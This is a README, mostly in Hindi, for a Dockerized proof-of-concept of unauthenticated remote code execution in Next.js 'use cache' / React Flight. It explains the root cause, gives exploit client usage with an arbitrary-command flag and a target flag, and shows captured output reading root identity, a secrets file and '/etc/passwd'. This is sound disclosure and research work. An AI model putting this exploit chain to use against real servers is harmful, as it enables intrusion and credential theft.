GHSA-673q-mjm6-r5xr के लिए Dockerized proof-of-concept: एक ही unauthenticated अनुरोध Next.js use cache / React Flight में RCE प्राप्त करता है, तुलना के लिए एक patched victim के साथ।
use cache / React Flight)टाइप्ड ऐरे लौटाने वाले
use cacheफ़ंक्शंस में अनऑथेंटिकेटेड रिमोट कोड एक्ज़िक्यूशन Next.js>=16.0.0 <16.4.1· CVSS v4 9.5 Critical · CWE-502 (Deserialization of Untrusted Data) अपस्ट्रीम मूल कारण: React Server Components — CVE-2026-126187 / GHSA-xqc2-xf4c-x3h3 (react-server-dom-*< 19.2.9/19.1.10/19.0.9/19.3.1)। Next.js 16.4.1 में ठीक किया गया।
एक पूरी तरह से कार्यशील, Dockerized, रिमोट प्रूफ़ ऑफ़ कॉन्सेप्ट: एक नेटवर्क हमलावर एक
अनऑथेंटिकेटेड HTTP अनुरोध भेजता है और विक्टिम कंटेनर के अंदर root के रूप में मनमाने कमांड निष्पादित करता है। उन्हीं स्रोतों से बनाया गया एक पैच किया गया विक्टिम प्रतिरक्षित रहता है।
attacker container ──HTTP POST /profile (crafted body)──▶ victim container (Next.js-style
(no privileged access) `use cache` Flight boundary)
▲ │
└──────────── GET /proof ◀── server-side `id`, SECRET.txt exfil ──┘
यह Next.js द्वारा वेंडर किए गए उसी React Server Components Flight ट्रांसपोर्ट का एक स्व-निहित पुनरुत्पादन है (react-server-dom-webpack), जिसे कमजोर (19.2.8) और पैच किए गए (19.2.9) संस्करणों पर पिन किया गया है। पूर्ण मूल-कारण विश्लेषण के लिए CASE-STUDY.md देखें।
make demo # builds images, starts both victims, pwns the vulnerable one,
# then shows the same exploit fail against the patched one
या चरण-दर-चरण:
docker compose up -d --build victim victim-patched # :3000 vulnerable, :3001 patched
docker compose run --rm poc # RCE vs :3000 -> exit 0
docker compose run --rm poc-patched # safe vs :3001 -> exit 1
docker compose run --rm evidence # root-cause reproducers, side by side
आवश्यकताएँ: Docker + Docker Compose। रनटाइम पर इंटरनेट एक्सेस की आवश्यकता नहीं है (केवल बिल्ड टाइम पर पिन किए गए npm पैकेजों को खींचने के लिए)।
vulnerable विक्टिम ([email protected]) के विरुद्ध:
[+] REMOTE CODE EXECUTION CONFIRMED
command : id; echo; echo "=== exfiltrated /app/SECRET.txt ==="; cat /app/SECRET.txt; echo; uname -a
host : 648b3c59052e user: root pid: 1
--- command output (executed on the victim) ---
| uid=0(root) gid=0(root) groups=0(root)
|
| === exfiltrated /app/SECRET.txt ===
| DB_PASSWORD=hunter2
| API_KEY=sk-live-7f3c9a21b0e4
| FLAG{GHSA-673q-mjm6-r5xr-rce}
|
| Linux 648b3c59052e 6.10.14-linuxkit ... aarch64 GNU/Linux
पैच किए गए विक्टिम ([email protected]) के विरुद्ध वही अनुरोध एक हानिरहित प्रोफ़ाइल कार्ड में डिकोड होता है — हमलावर के बाइट्स displayName स्ट्रिंग के भीतर ही रहते हैं और कभी भी प्रोटोकॉल निर्देश नहीं बनते:
[-] No code execution observed. Target is PATCHED.
decode result: {"keys":["avatar","thumbnail","displayName"],"displayName":"PPPP…"}
पीड़ित एक उपयोगकर्ता "प्रोफ़ाइल कार्ड" को Next.js-शैली के use cache फ़ंक्शन के साथ कैश करता है। कैश किया गया मान दो टाइप्ड ऐरे को बंडल करता है जो एक ही ArrayBuffer पर व्यू हैं (एक avatar और एक thumbnail जो एक डिकोड की गई छवि से स्लाइस किए गए हैं — एक बहुत ही सामान्य "एक बार डिकोड करें, क्षेत्रों को स्लाइस करें" पैटर्न) साथ ही एक हमलावर-नियंत्रित स्ट्रिंग (अनुरोध से प्रदर्शित नाम):
function getProfileCard(displayName) {
'use cache'
const decodedImage = new ArrayBuffer(8192 * 2) // one decoded image
const avatar = new Uint8Array(decodedImage, 0, 8192) // view 1
const thumbnail = new Uint8Array(decodedImage, 8192, 8192) // view 2 — SAME buffer
return { avatar, thumbnail, displayName } // displayName = attacker input
}
जब React का Flight encoder पहले बड़े typed array को एक byte ReadableStream में स्ट्रीम करता है, तो साझा ArrayBuffer detach हो जाता है (WHATWG Streams transfer semantics)। दूसरे view का byteLength चुपचाप 0 हो जाता है — उसके बाद जब उसका chunk header पहले से ही मूल लंबाई घोषित कर चुका होता है। इसके बाद decoder over-read करता है, stream framing को निगल जाता है और हमलावर के displayName bytes को raw Flight protocol rows के रूप में parse होने देता है, जो हमलावर द्वारा चुने गए एक Server Reference को inject कर देता है। React cache read के दौरान इसे invoke करता है → RCE। पूर्ण विश्लेषण CASE-STUDY.md में।
.
├── README.md you are here
├── CASE-STUDY.md full root-cause + exploitation write-up
├── docker-compose.yml victim (vuln), victim-patched, poc, evidence
├── Makefile make demo / up / exploit / evidence / clean
├── victim/
│ ├── Dockerfile ARG RSDW_VERSION selects 19.2.8 (vuln) or 19.2.9 (patched)
│ ├── server.js faithful Next.js `use cache` encode→store→decode pipeline
│ └── app-modules.js the server module graph the injected reference resolves against
├── poc/
│ ├── Dockerfile
│ └── exploit.js remote HTTP exploit (flag-driven; see -h; self-aligning payload)
└── evidence/
├── 01-encoder-desync.cjs header declares N bytes, writes 0
├── 02-type-confusion-sink.cjs thenable whose .then is a server reference
├── 03-full-chain-rce.cjs desync → injection → command execution
├── run.sh runs all three against vuln AND patched
├── sample-run.txt captured output
└── upstream-diffs/ the real Next.js 16.4.0 → 16.4.1 patch diffs
poc क्लाइंट फ्लैग-संचालित है। इसका पूरा मैनुअल देखें:
docker compose run --rm poc -h # or: node poc/exploit.js -h
USAGE
node exploit.js [options]
OPTIONS
-t, --target <url> Base URL of the victim (default: http://localhost:3000)
-c, --cmd <command> Shell command to run on the victim
--timeout <ms> Per-request timeout in ms (default: 15000)
--dry-run Build and print the payload; do not send anything
-h, --help Show this help and exit
--version Print version and exit
उदाहरण:
# run your own command against the vulnerable victim:
docker compose run --rm poc -t http://victim:3000 -c 'cat /etc/passwd | head -3'
# inspect the crafted payload without sending it:
docker compose run --rm poc --dry-run
# drive it directly (outside compose) against a mapped port:
node poc/exploit.js -t http://localhost:3000 -c 'id'
# a normal-looking (short) request — the shared-buffer shape alone corrupts the cache entry:
curl -s -XPOST --data 'Ada Lovelace' http://localhost:3000/profile
# inspect what the victim recorded after an exploit:
curl -s http://localhost:3000/proof | jq
Next.js को ≥ 16.4.1 में अपग्रेड करें (जो ठीक किया गया React Flight रनटाइम बंडल करता है)। यदि आप सीधे
react-server-dom-webpack / -turbopack / -parcel पर निर्भर हैं, तो 19.2.9, 19.1.10,
19.0.9, या 19.3.1 में अपग्रेड करें। प्रभावित use cache फ़ंक्शन के लिए कोई एप्लिकेशन-स्तरीय वर्कअराउंड नहीं है — अपग्रेड ही एकमात्र समाधान है।
यह PoC केवल उन दो थ्रोअवे कंटेनरों को लक्षित करता है जिन्हें यह बनाता है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जो आपके स्वामित्व में हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।